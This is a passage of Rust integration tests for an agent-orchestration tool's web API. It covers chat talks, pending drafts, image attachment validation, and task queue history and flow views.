8089 let f = Fixture::start().await;
8090 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8091 let queue = f.queue();
8092 let mut mine = Task::new(
8093 "rename the loader".to_owned(),
8094 "rename the loader".to_owned(),
8095 PathBuf::from("/repo/magi"),
8096 Source::Agent {
8097 run: talk_id.clone(),
8098 node: "chat".to_owned(),
8099 },
8100 );
8101 queue.put(&mut mine).expect("file the task");
8102 let mut theirs = Task::new(
8103 "unrelated".to_owned(),
8104 "unrelated".to_owned(),
8105 PathBuf::from("/repo/magi"),
8106 Source::Human,
8107 );
8108 queue.put(&mut theirs).expect("file the task");
8109
8110 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8111 assert_eq!(res.status, 200, "{}", res.body);
8112 let body = res.json();
8113 assert_eq!(
8114 body["status"], "open",
8115 "filing a task does not close a talk"
8116 );
8117 let tasks = body["tasks"].as_array().expect("tasks array");
8118 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8119 assert_eq!(tasks[0]["id"], mine.id);
8120 }
8121
8122 #[tokio::test]
8123 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8124 let (_tmp, _repo, f) = talk_fixture().await;
8125 let id = f.post("/api/talks", None).await.json()["id"]
8126 .as_str()
8127 .expect("id")
8128 .to_owned();
8129
8130 let res = f
8131 .post(
8132 &format!("/api/talks/{id}/say"),
8133 Some(r#"{"text":"what does the queue module do?"}"#),
8134 )
8135 .await;
8136 assert_eq!(res.status, 202, "{}", res.body);
8137 let queued = res.json();
8138 let turns = queued["turns"].as_array().expect("turns array");
8139 assert_eq!(
8140 turns.len(),
8141 1,
8142 "the answer reflects only what is on disk the instant it is sent, \
8143 before the agent's turn - which can run for the whole of \
8144 `[graph] timeout_talk` - has a chance to land: {queued}"
8145 );
8146 assert_eq!(turns[0]["who"], "operator");
8147 assert_eq!(turns[0]["body"], "what does the queue module do?");
8148 assert_eq!(
8149 queued["thinking"], true,
8150 "the accepted response exposes the background turn claim: {queued}"
8151 );
8152
8153 let mut turns_after = 1;
8154 for _ in 0..SETTLE_STEPS {
8155 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8156 turns_after = detail["turns"].as_array().expect("turns array").len();
8157 if turns_after == 2 {
8158 break;
8159 }
8160 tokio::time::sleep(Duration::from_millis(10)).await;
8161 }
8162 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8163 }
8164
8165 #[tokio::test]
8192 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8193 let tmp = TempDir::new().expect("tempdir");
8194 let repo = tmp.path().join("repo");
8195 std::fs::create_dir_all(&repo).expect("repo dir");
8196 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8197 let home = TempDir::new().expect("temp home");
8198 let talks = Talks::at(home.path().join("talks"));
8199 let ui = Arc::new(
8200 Ui::new(
8201 Queue::at(home.path().join("queue")),
8202 Questions::at(home.path().join("questions")),
8203 talks.clone(),
8204 home.path().join("runs"),
8205 home.path().to_path_buf(),
8206 repo.clone(),
8207 )
8208 .with_worktrees_root(home.path().join("wt")),
8209 );
8210 let cfg = config_for(&repo).await.expect("discover config");
8211
8212 for delay in 0..40u32 {
8213 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8214 let id = talk.id.clone();
8215
8216 let handler = tokio::spawn(talk_say(
8217 State(Arc::clone(&ui)),
8218 Path(id.clone()),
8219 Ok(Json(NewTalkTurn {
8220 text: "what does the queue module do?".to_owned(),
8221 attachments: Vec::new(),
8222 })),
8223 ));
8224 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8225 handler.abort();
8226 let _ = handler.await;
8229
8230 let mut turns = 0;
8231 for _ in 0..SETTLE_STEPS {
8232 if let Ok(fresh) = talks.get(&id) {
8233 turns = fresh.turns.len();
8234 if turns != 1 {
8235 break;
8236 }
8237 }
8238 tokio::time::sleep(Duration::from_millis(10)).await;
8239 }
8240 assert_ne!(
8241 turns, 1,
8242 "delay {delay}: talk {id} recorded the operator's turn but \
8243 the agent never answered - the reply task was never \
8244 started after the handler future was dropped"
8245 );
8246 }
8247 }
8248
8249 #[tokio::test]
8294 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8295 let tmp = TempDir::new().expect("tempdir");
8296 let repo = tmp.path().join("repo");
8297 std::fs::create_dir_all(&repo).expect("repo dir");
8298 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8299 let home = TempDir::new().expect("temp home");
8300 let talks = Talks::at(home.path().join("talks"));
8301 let ui = Arc::new(
8302 Ui::new(
8303 Queue::at(home.path().join("queue")),
8304 Questions::at(home.path().join("questions")),
8305 talks.clone(),
8306 home.path().join("runs"),
8307 home.path().to_path_buf(),
8308 repo.clone(),
8309 )
8310 .with_worktrees_root(home.path().join("wt")),
8311 );
8312 let cfg = config_for(&repo).await.expect("discover config");
8313
8314 for attempt in 0..3u32 {
8315 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8316 let id = talk.id.clone();
8317 let turn_guard = ui
8320 .begin_talk_turn(&id)
8321 .expect("claim the turn")
8322 .expect("a fresh talk owes nobody a turn");
8323
8324 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8325 let (release_tx, release_rx) = std::sync::mpsc::channel();
8326 ui.set_busy_queue_gate(BusyQueueGate {
8327 reached: reached_tx,
8328 release: release_rx,
8329 });
8330
8331 let handler = tokio::spawn(talk_say(
8332 State(Arc::clone(&ui)),
8333 Path(id.clone()),
8334 Ok(Json(NewTalkTurn {
8335 text: "what does the queue module do?".to_owned(),
8336 attachments: Vec::new(),
8337 })),
8338 ));
8339
8340 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8345 .await
8346 .unwrap_or_else(|_| {
8347 panic!(
8348 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8349 )
8350 })
8351 .expect("the busy branch dropped the gate without using it");
8352
8353 let running = talks.get(&id).expect("reload talk");
8360 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8361
8362 handler.abort();
8366 let _ = handler.await;
8367
8368 let _ = release_tx.send(());
8374
8375 let mut fresh = talks.get(&id).expect("reload talk");
8378 for _ in 0..SETTLE_STEPS {
8379 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8380 break;
8381 }
8382 tokio::time::sleep(Duration::from_millis(10)).await;
8383 fresh = talks.get(&id).expect("reload talk");
8384 }
8385 assert!(
8386 fresh.pending.is_empty() && fresh.turns.len() == 2,
8387 "attempt {attempt}: talk {id} left the operator's text queued \
8388 with no drainer - the reclaimed turn was dropped along with \
8389 the handler future (pending {:?}, {} turns)",
8390 fresh.pending,
8391 fresh.turns.len()
8392 );
8393 }
8394 }
8395
8396 #[tokio::test]
8397 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8398 let (_tmp, _repo, f) = talk_fixture().await;
8399 let id = f.post("/api/talks", None).await.json()["id"]
8400 .as_str()
8401 .expect("id")
8402 .to_owned();
8403 let store = f.talks();
8404 let mut recovered = store.get(&id).expect("opened talk");
8405 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8406 .expect("persist pending draft without a live turn");
8407
8408 let edited = f
8409 .post(
8410 &format!("/api/talks/{id}/pending/edit"),
8411 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8412 )
8413 .await;
8414 assert_eq!(edited.status, 200, "{}", edited.body);
8415 assert!(edited.json()["thinking"].as_bool().unwrap());
8416
8417 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8418 for _ in 0..SETTLE_STEPS {
8419 if detail["turns"].as_array().expect("turns").len() == 2 {
8420 break;
8421 }
8422 tokio::time::sleep(Duration::from_millis(10)).await;
8423 detail = f.get(&format!("/api/talks/{id}")).await.json();
8424 }
8425 let turns = detail["turns"].as_array().expect("turns");
8426 assert_eq!(
8427 turns.len(),
8428 2,
8429 "the recovered draft must run once: {detail}"
8430 );
8431 assert_eq!(turns[0]["body"], "corrected");
8432 assert_eq!(detail["pending"], "");
8433 }
8434
8435 #[tokio::test]
8436 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8437 let tmp = TempDir::new().expect("tempdir");
8438 let repo = tmp.path().join("repo");
8439 std::fs::create_dir_all(&repo).expect("repo dir");
8440 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8441 let f = Fixture::with_repo(repo).await;
8442 let id = f.post("/api/talks", None).await.json()["id"]
8443 .as_str()
8444 .expect("id")
8445 .to_owned();
8446 let store = f.talks();
8447 let mut recovered = store.get(&id).expect("opened talk");
8448 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8449 .expect("persist pending draft without a live turn");
8450
8451 let refused = f
8452 .post(
8453 &format!("/api/talks/{id}/say"),
8454 Some(r#"{"text":"new message"}"#),
8455 )
8456 .await;
8457 assert_eq!(refused.status, 409, "{}", refused.body);
8458 assert!(refused.body.contains("resume"), "{}", refused.body);
8459 let saved = store.get(&id).expect("draft remains after refusal");
8460 assert!(saved.turns.is_empty());
8461 assert_eq!(saved.pending, "saved before restart");
8462
8463 let say_path = format!("/api/talks/{id}/say");
8464 let (first, second) = tokio::join!(
8465 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8466 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8467 );
8468 assert_eq!(first.status, 409, "{}", first.body);
8469 assert_eq!(second.status, 409, "{}", second.body);
8470 let saved = store
8471 .get(&id)
8472 .expect("draft remains after concurrent refusals");
8473 assert!(saved.turns.is_empty());
8474 assert_eq!(saved.pending, "saved before restart");
8475
8476 let resumed = f
8477 .post(&format!("/api/talks/{id}/pending/resume"), None)
8478 .await;
8479 assert_eq!(resumed.status, 202, "{}", resumed.body);
8480 let duplicate = f
8481 .post(&format!("/api/talks/{id}/pending/resume"), None)
8482 .await;
8483 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8484
8485 for _ in 0..SETTLE_STEPS {
8486 if store.get(&id).expect("talk").turns.len() == 2 {
8487 break;
8488 }
8489 tokio::time::sleep(Duration::from_millis(10)).await;
8490 }
8491 let finished = store.get(&id).expect("finished talk");
8492 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8493 assert_eq!(finished.turns[0].body, "saved before restart");
8494 assert!(finished.pending.is_empty());
8495 }
8496
8497 #[tokio::test]
8498 async fn an_image_only_recovered_draft_resumes_without_text() {
8499 let (_tmp, _repo, f) = talk_fixture().await;
8500 let id = f.post("/api/talks", None).await.json()["id"]
8501 .as_str()
8502 .expect("id")
8503 .to_owned();
8504 let uploaded = f
8505 .post_bytes(
8506 &format!("/api/talks/{id}/attachments"),
8507 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8508 PNG_BYTES,
8509 )
8510 .await;
8511 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8512 let attachment = f
8513 .talks()
8514 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8515 .expect("attachment metadata")
8516 .expect("stored attachment");
8517 let store = f.talks();
8518 let mut recovered = store.get(&id).expect("opened talk");
8519 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8520
8521 let resumed = f
8522 .post(&format!("/api/talks/{id}/pending/resume"), None)
8523 .await;
8524 assert_eq!(resumed.status, 202, "{}", resumed.body);
8525 for _ in 0..SETTLE_STEPS {
8526 if store.get(&id).expect("talk").turns.len() == 2 {
8527 break;
8528 }
8529 tokio::time::sleep(Duration::from_millis(10)).await;
8530 }
8531 let finished = store.get(&id).expect("finished talk");
8532 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8533 assert!(finished.turns[0].body.is_empty());
8534 assert_eq!(finished.turns[0].attachments.len(), 1);
8535 assert!(finished.pending_attachments.is_empty());
8536 }
8537
8538 #[tokio::test]
8539 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8540 let (_tmp, _repo, f) = talk_fixture().await;
8541 let id = f.post("/api/talks", None).await.json()["id"]
8542 .as_str()
8543 .expect("id")
8544 .to_owned();
8545 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8546 assert_eq!(closed.status, 200, "{}", closed.body);
8547 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8548 .expect("serialize closed talk");
8549 for (path, body) in [
8550 (format!("/api/talks/{id}/pending/resume"), None),
8551 (
8552 format!("/api/talks/{id}/pending/clear"),
8553 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8554 ),
8555 (
8556 format!("/api/talks/{id}/pending/edit"),
8557 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
8558 ),
8559 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
8560 ] {
8561 let response = f.post(&path, body).await;
8562 assert_eq!(response.status, 409, "{}", response.body);
8563 }
8564 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8565 .expect("serialize closed talk");
8566 assert_eq!(
8567 after_clear, before_clear,
8568 "clear must not rewrite a closed talk"
8569 );
8570 }
8571
8572 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
8575
8576 #[tokio::test]
8577 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
8578 let tmp = TempDir::new().expect("tempdir");
8579 let repo = tmp.path().join("repo");
8580 std::fs::create_dir_all(&repo).expect("repo dir");
8581 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8582 let f = Fixture::with_repo(repo).await;
8583 let id_a = f.post("/api/talks", None).await.json()["id"]
8584 .as_str()
8585 .unwrap()
8586 .to_owned();
8587 let id_b = f.post("/api/talks", None).await.json()["id"]
8588 .as_str()
8589 .unwrap()
8590 .to_owned();
8591
8592 let a = f
8593 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
8594 .await;
8595 assert_eq!(a.status, 202, "{}", a.body);
8596 assert_eq!(a.json()["thinking"], true);
8597 let b = f
8598 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
8599 .await;
8600 assert_eq!(b.status, 202, "{}", b.body);
8601 assert_eq!(b.json()["thinking"], true);
8602
8603 let listed = f.get("/api/talks").await.json();
8604 for id in [&id_a, &id_b] {
8605 let view = listed
8606 .as_array()
8607 .unwrap()
8608 .iter()
8609 .find(|talk| talk["id"] == *id)
8610 .unwrap();
8611 assert_eq!(view["thinking"], true, "{listed}");
8612 }
8613 let repeated = f
8614 .post(
8615 &format!("/api/talks/{id_a}/say"),
8616 Some(r#"{"text":"again"}"#),
8617 )
8618 .await;
8619 assert_eq!(repeated.status, 202, "{}", repeated.body);
8620 assert_eq!(repeated.json()["pending"], "again");
8621 }
8622
8623 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
8626
8627 #[tokio::test]
8628 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
8629 let f = Fixture::start().await;
8630 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
8631
8632 let res = f
8633 .post_bytes(
8634 &format!("/api/talks/{id}/attachments"),
8635 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8636 PNG_BYTES,
8637 )
8638 .await;
8639 assert_eq!(res.status, 201, "{}", res.body);
8640 let body = res.json();
8641 assert_eq!(body["name"], "shot.png");
8642 assert_eq!(body["mime"], "image/png");
8643 assert_eq!(body["bytes"], PNG_BYTES.len());
8644 let att_id = body["id"].as_str().expect("id").to_owned();
8645 assert_eq!(
8646 att_id.len(),
8647 32,
8648 "the id must never be a client-suppliable path: {att_id}"
8649 );
8650
8651 let got = f
8652 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
8653 .await;
8654 assert_eq!(got.status, 200, "{}", got.body);
8655 assert_eq!(got.header("content-type"), Some("image/png"));
8656 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
8657 assert_eq!(got.bytes, PNG_BYTES);
8658 }
8659
8660 #[tokio::test]
8661 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
8662 let f = Fixture::start().await;
8663 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
8664
8665 let svg = f
8668 .post_bytes(
8669 &format!("/api/talks/{id}/attachments"),
8670 &[("Content-Type", "image/svg+xml")],
8671 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
8672 )
8673 .await;
8674 assert!(
8675 (400..500).contains(&svg.status),
8676 "svg must be refused: {} {}",
8677 svg.status,
8678 svg.body
8679 );
8680 assert!(svg.body.contains("SVG"), "{}", svg.body);
8681
8682 let text = f
8683 .post_bytes(
8684 &format!("/api/talks/{id}/attachments"),
8685 &[("Content-Type", "text/plain")],
8686 b"just some text",
8687 )
8688 .await;
8689 assert!(
8690 (400..500).contains(&text.status),
8691 "an unlisted type must be refused: {} {}",
8692 text.status,
8693 text.body
8694 );
8695
8696 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
8699 let big = f
8700 .post_bytes(
8701 &format!("/api/talks/{id}/attachments"),
8702 &[("Content-Type", "image/png")],
8703 &oversized,
8704 )
8705 .await;
8706 assert_eq!(
8707 big.status,
8708 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
8709 "{}",
8710 big.body
8711 );
8712 }
8713
8714 #[tokio::test]
8715 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
8716 let f = Fixture::start().await;
8717 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
8718
8719 let res = f
8722 .post_bytes(
8723 &format!("/api/talks/{id}/attachments"),
8724 &[("Content-Type", "image/png")],
8725 b"<html>not a picture</html>",
8726 )
8727 .await;
8728 assert!((400..500).contains(&res.status), "{}", res.body);
8729 }
8730
8731 #[tokio::test]
8732 async fn an_unknown_attachment_id_is_a_404() {
8733 let f = Fixture::start().await;
8734 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
8735
8736 let res = f
8737 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
8738 .await;
8739 assert_eq!(res.status, 404, "{}", res.body);
8740 }
8741
8742 #[tokio::test]
8743 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
8744 let f = Fixture::start().await;
8745 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
8746
8747 let uploaded = f
8748 .post_bytes(
8749 &format!("/api/talks/{id}/attachments"),
8750 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
8751 PNG_BYTES,
8752 )
8753 .await;
8754 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8755 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
8756
8757 let res = f
8758 .post(
8759 &format!("/api/talks/{id}/say"),
8760 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
8761 )
8762 .await;
8763 assert_eq!(res.status, 202, "{}", res.body);
8764 let queued = res.json();
8765 let turns = queued["turns"].as_array().expect("turns array");
8766 assert_eq!(
8767 turns.len(),
8768 1,
8769 "an empty body with an attachment is still a turn: {queued}"
8770 );
8771 assert_eq!(turns[0]["who"], "operator");
8772 assert_eq!(turns[0]["body"], "");
8773 let atts = turns[0]["attachments"]
8774 .as_array()
8775 .expect("attachments array");
8776 assert_eq!(atts.len(), 1);
8777 assert_eq!(atts[0]["id"], att_id);
8778 assert_eq!(atts[0]["mime"], "image/png");
8779
8780 let on_disk = f.talks().get(&id).expect("get");
8783 assert_eq!(on_disk.turns[0].attachments.len(), 1);
8784 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
8785 }
8786
8787 #[tokio::test]
8788 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8789 let f = Fixture::start().await;
8790 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8791
8792 let res = f
8793 .post(
8794 &format!("/api/talks/{id}/say"),
8795 Some(&format!(
8796 r#"{{"text":"hi","attachments":["{}"]}}"#,
8797 "a".repeat(32)
8798 )),
8799 )
8800 .await;
8801 assert!((400..500).contains(&res.status), "{}", res.body);
8802 assert!(res.body.contains("unknown attachment"), "{}", res.body);
8803
8804 let on_disk = f.talks().get(&id).expect("get");
8805 assert!(
8806 on_disk.turns.is_empty(),
8807 "a rejected attachment id must not partially record the turn: {:?}",
8808 on_disk.turns
8809 );
8810 }
8811
8812 #[tokio::test]
8813 async fn talk_close_makes_the_talk_refuse_further_turns() {
8814 let f = Fixture::start().await;
8815 let id = seed_talk(&f, "20260904-014455-cd34", "open");
8816
8817 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8818 assert_eq!(closed.status, 200, "{}", closed.body);
8819 assert_eq!(closed.json()["status"], "closed");
8820
8821 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8823 assert_eq!(closed_again.status, 200);
8824 assert_eq!(closed_again.json()["status"], "closed");
8825
8826 let said = f
8827 .post(
8828 &format!("/api/talks/{id}/say"),
8829 Some(r#"{"text":"too late"}"#),
8830 )
8831 .await;
8832 assert_eq!(said.status, 409, "{}", said.body);
8833 }
8834
8835 #[tokio::test]
8836 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8837 let (_tmp, _repo, f) = talk_fixture().await;
8838 let id = f.post("/api/talks", None).await.json()["id"]
8839 .as_str()
8840 .expect("id")
8841 .to_owned();
8842 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8843 assert_eq!(closed.status, 200, "{}", closed.body);
8844
8845 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8846 assert_eq!(reopened.status, 200, "{}", reopened.body);
8847 assert_eq!(reopened.json()["status"], "open");
8848
8849 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8851 assert_eq!(reopened_again.status, 200);
8852 assert_eq!(reopened_again.json()["status"], "open");
8853
8854 let said = f
8855 .post(
8856 &format!("/api/talks/{id}/say"),
8857 Some(r#"{"text":"still there?"}"#),
8858 )
8859 .await;
8860 assert_eq!(
8861 said.status, 202,
8862 "a reopened talk accepts turns again: {}",
8863 said.body
8864 );
8865 }
8866
8867 #[tokio::test]
8868 async fn talk_reopen_on_an_unknown_id_is_404() {
8869 let f = Fixture::start().await;
8870 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8871 assert_eq!(res.status, 404, "{}", res.body);
8872 }
8873
8874 #[tokio::test]
8875 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8876 let f = Fixture::start().await;
8877 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8878
8879 let deleted = f.delete(&format!("/api/talks/{id}")).await;
8880 assert_eq!(deleted.status, 204, "{}", deleted.body);
8881
8882 let after = f.get(&format!("/api/talks/{id}")).await;
8883 assert_eq!(after.status, 404, "{}", after.body);
8884
8885 let listed = f.get("/api/talks").await.json();
8886 assert!(
8887 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8888 "a deleted talk must not linger in the list: {listed}"
8889 );
8890 }
8891
8892 #[tokio::test]
8893 async fn talk_delete_on_an_unknown_id_is_404() {
8894 let f = Fixture::start().await;
8895 let res = f.delete("/api/talks/nonexistent-id").await;
8896 assert_eq!(res.status, 404, "{}", res.body);
8897 }
8898
8899 #[tokio::test]
8903 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8904 let f = Fixture::start().await;
8905 let (a, b, gone) = (
8906 "20260902-140501-aaaa",
8907 "20260902-140502-bbbb",
8908 "20260902-140503-cccc",
8909 );
8910 write_run(&f.runs(), a, RunStatus::Stalled);
8911 let mut review = RunState::new(
8912 PathBuf::from("/repo/magi"),
8913 "main".to_owned(),
8914 "0123456789abcdef".to_owned(),
8915 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8916 .to_owned(),
8917 Config::default(),
8918 );
8919 review.id = b.to_owned();
8920 review.status = RunStatus::Merged;
8921 write_state(&f.runs(), &review);
8922
8923 let mut task = Task::new(
8924 "retry".to_owned(),
8925 "Do the thing".to_owned(),
8926 PathBuf::from("/repo/magi"),
8927 Source::Human,
8928 );
8929 task.start(a.to_owned());
8930 task.stall("quota");
8931 task.start(a.to_owned());
8932 task.start(b.to_owned());
8933 task.start(gone.to_owned());
8934 f.queue().put(&mut task).expect("file the task");
8935
8936 let res = f.get(&format!("/api/queue/{}", task.id)).await;
8937 assert_eq!(res.status, 200, "{}", res.body);
8938 let v = res.json();
8939 let h = v["history"].as_array().expect("history");
8940 assert_eq!(h.len(), 4, "{v}");
8941 assert_eq!(h[0]["kind"], "competition");
8942 assert_eq!(h[0]["status"], "stalled");
8943 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8944 assert_eq!(h[1]["kind"], "resume", "{v}");
8945 assert!(
8946 h[0]["outcome"]
8947 .as_str()
8948 .unwrap()
8949 .contains("unknown. Pass #2"),
8950 "an earlier pass of a resumed run must not claim the final outcome: {v}"
8951 );
8952 assert!(
8953 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8954 "{v}"
8955 );
8956 assert!(
8957 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8958 "an unrecorded cause must not be narrated as an operator park: {v}"
8959 );
8960 assert_eq!(h[2]["kind"], "review");
8961 assert!(
8962 h[2]["description"]
8963 .as_str()
8964 .unwrap()
8965 .contains("magi/aaaa/A")
8966 );
8967 assert_eq!(h[2]["status"], "merged");
8968 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8969 assert_eq!(v["runs_unreadable"], 1);
8970 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8971 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8972 assert_eq!(nodes[4]["note"], "unreadable");
8973 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8974 assert_eq!(v["instruction"], "Do the thing");
8975 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8976
8977 let run = f.get(&format!("/api/runs/{a}")).await.json();
8979 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8980
8981 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8982 }
8983
8984 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8985 let mut s = RunState::new(
8986 PathBuf::from("/repo/magi"),
8987 "main".to_owned(),
8988 "0123456789abcdef".to_owned(),
8989 "Do it".to_owned(),
8990 Config::default(),
8991 );
8992 s.status = status;
8993 edit(&mut s);
8994 s
8995 }
8996
8997 fn flow_task(runs: &[&str]) -> Task {
8998 let mut t = Task::new(
8999 "t".to_owned(),
9000 "Do it".to_owned(),
9001 PathBuf::from("/repo/magi"),
9002 Source::Human,
9003 );
9004 for r in runs {
9005 t.start((*r).to_owned());
9006 }
9007 t
9008 }
9009
9010 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
9011 let h = task_history(task, |id| {
9012 states
9013 .iter()
9014 .find(|(i, _)| *i == id)
9015 .and_then(|(_, s)| s.clone())
9016 });
9017 task_flow(task, &h, 5)
9018 }
9019
9020 #[test]
9021 fn flow_opens_with_the_chat_that_queued_the_task() {
9022 let mut t = flow_task(&[]);
9023 t.source = Source::Agent {
9024 run: "a b/c".to_owned(),
9025 node: crate::queue::CHAT_NODE.to_owned(),
9026 };
9027 let f = flow_for(&t, &[]);
9028 assert_eq!(f.nodes[0].key, "chat");
9029 assert_eq!(f.nodes[0].kind, "chat");
9030 assert_eq!(
9031 f.nodes[0].label,
9032 format!("Chat {}", crate::queue::short("a b/c"))
9033 );
9034 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
9035 assert_eq!(f.nodes[1].key, "start");
9036 assert_eq!(
9037 f.edges[0],
9038 FlowEdge {
9039 from: "chat".to_owned(),
9040 to: "start".to_owned(),
9041 label: "queued from chat".to_owned(),
9042 attempt: AttemptCost::None,
9043 }
9044 );
9045 }
9046
9047 #[test]
9048 fn flow_has_no_chat_box_for_other_sources() {
9049 for source in [
9050 Source::Human,
9051 Source::Issue {
9052 number: 3,
9053 repo: "o/r".to_owned(),
9054 },
9055 Source::Agent {
9056 run: "20260904-014455-ab12".to_owned(),
9057 node: "implement".to_owned(),
9058 },
9059 ] {
9060 let mut t = flow_task(&[]);
9061 t.source = source;
9062 let f = flow_for(&t, &[]);
9063 assert_eq!(f.nodes[0].key, "start");
9064 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
9065 assert!(f.edges.iter().all(|e| e.from != "chat"));
9066 }
9067 }
9068
9069 const FA: &str = "20260902-140501-aaaa";
9070 const FB: &str = "20260902-140502-bbbb";
9071
9072 #[test]
9073 fn flow_follows_blocked_retry_merged_to_done() {
9074 let mut t = flow_task(&[FA, FB]);
9075 t.status = TaskStatus::Done;
9076 let f = flow_for(
9077 &t,
9078 &[
9079 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
9080 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
9081 ],
9082 );
9083 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
9084 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
9085 assert_eq!(f.edges.len(), 3);
9086 assert_eq!(f.edges[0].label, "claimed");
9087 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
9088 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
9089 assert_eq!(f.edges[2].label, "merged \u{2192} done");
9090 assert_eq!(
9091 f.nodes[2].href.as_deref(),
9092 Some("#/runs/20260902-140502-bbbb")
9093 );
9094 assert!(f.nodes[2].decided);
9095 }
9096
9097 #[test]
